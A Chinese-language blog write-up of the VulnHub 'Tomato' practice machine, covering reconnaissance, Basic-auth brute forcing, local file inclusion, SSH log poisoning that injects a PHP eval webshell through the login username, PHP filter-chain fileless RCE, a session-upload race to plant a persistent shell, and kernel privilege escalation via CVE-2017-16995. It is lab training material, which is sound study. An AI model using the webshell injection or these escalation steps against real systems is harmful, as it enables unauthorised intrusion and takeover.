vulnhub靶机tomato记录

https://www.vulnhub.com/entry/tomato-1,557/

过程

用nmap对目标主机做全端口扫描,dirb做目录扫描,结果如下:


8888端口开放一个web服务,存在Basic认证,试了爆破无果,sun-answerbook是一个在线文档系统,但不知道具体版本,测了未授权访问的历史漏洞,发现不存在。

进入antibot_image路径下,找到info.php文件,访问发现是phpinfo信息,在注释中找到了文件包含的命令。但根据phpinfo,allow_url_include是Off,不能进行远程文件包含。

Basic认证爆破

basic认证,即在请求的Header中添加一个请求头,内容为"用户名:密码"的base64的值。

爆破也容易,把payload设置为字典,添加两个预处理,第一个时添加前缀可以为用户名+冒号例如:"admin:",第二个预处理为base64编码。

SSH写日志getshell

22端口关闭,但2211端口上运行的也是ssh服务。ssh日志记录在/var/log/auth.log,例如我们使用用户名123尝试登录,登录失败后,用户名将被记录在日志中。

那么使用登录命令:ssh '<?php @eval($_POST["a"]); ?>'@192.168.6.174 -p 2211就可以将一句话木马写入该日志文件,从而getshell。

PHP过滤器无文件RCE

PHP过滤器(PHP Filter)原是PHP中验证和过滤数据的工具,例如我们可以使用php://filter/string.rot13/resource=对字符串执行ROT13转换。无文件RCE的原理是利用php过滤器中的convert.iconv.UTF8.CSISO2022KR会始终将\x1b$)C添加到待转字符串之前,而convert.base64-decode会忽略掉任何无效的base64字符串。

因此可以利用一些字符串编码的转换,对\x1b$)C进行转换,使得只有我们想要的字符在整段字符串中是"有效"的,再利用base64的编码与解码,将"无效"的删除掉。最初的博文是做了BASE64可见字符的转换表,php_filter_chain_generator在此基础上,做了更多可见字符的转换表。


SESSION_UPLOAD_PROGRESS getshell

根据phpinfo,拿到session保存的位置:/var/lib/php/sessions。且session.auto

不过这里的session.auto_start的值为Off,不会自动化初始Session。到这里我想,既然可以读到php文件了,那是否可以去找有初始化session的文件来利用呢?

很遗憾没有找到。但为了验证猜想,在获得root权限后,新写入一个test文件,这个文件什么内容都没有,只有一句session_start();

本地写一个html文件,内容为:

随便上传一个文件,主要是为了让php生成session。

设置空payload,但数量大,不断发包,维持恶意session文件的存储。此时若结合条件竞争,上传一个不死马,并不断访问,即可getshell。

提权

这个提权没什么好说的,内核提权找payload。searchsploit linux 4.4.0用的内核提权最终找到: CVE-2017-16995 (45010)。靶机上没有gcc,在kali上编译后下载到靶机上执行。gcc 45010.c -o pwn -static

总结

  1. 本地文件包含对策:SESSION_UPLOAD_PROGRESS getshell、PHP过滤器链RCE、日志写shell
  2. 利用SESSION_UPLOAD_PROGRESS写恶意session时只需要php启用session即可,不需要该文件session有意义。
相关推荐
黑客-小千1 小时前
【Docker】初识docker 基本概念及安装使用(巨详细版),网络安全零基础入门到精通实战教程!
网络协议·tcp/ip·web安全·网络安全·docker·容器·eureka
网安INF10 小时前
网络杀伤链(CKC模型)与ATT&CK模型详解
网络·安全·网络安全·网络攻击模型
Bruce_Liuxiaowei12 小时前
Nmap+Fofa 一体化信息搜集工具打造
运维·开发语言·网络·网络安全
旧梦吟15 小时前
脚本网站 开源项目
前端·web安全·网络安全·css3·html5
白帽子黑客杰哥16 小时前
网络安全面试指南
web安全·网络安全·面试·渗透测试·面试技巧
xl-xueling16 小时前
从快手直播故障,看全景式业务监控势在必行!
大数据·后端·网络安全·流式计算
小韩博18 小时前
小迪笔记45课之-PHP应用&SQL二次注入&堆叠执行&DNS带外&功能点&黑白盒条件
笔记·sql·网络安全·php
小韩博18 小时前
小迪之盲注第44课
android·网络安全·adb
竹等寒20 小时前
TryHackMe-SOC-Section 3:核心 SoC 解决方案
网络·网络安全
JoStudio21 小时前
白帽系列01: 抓包
java·网络安全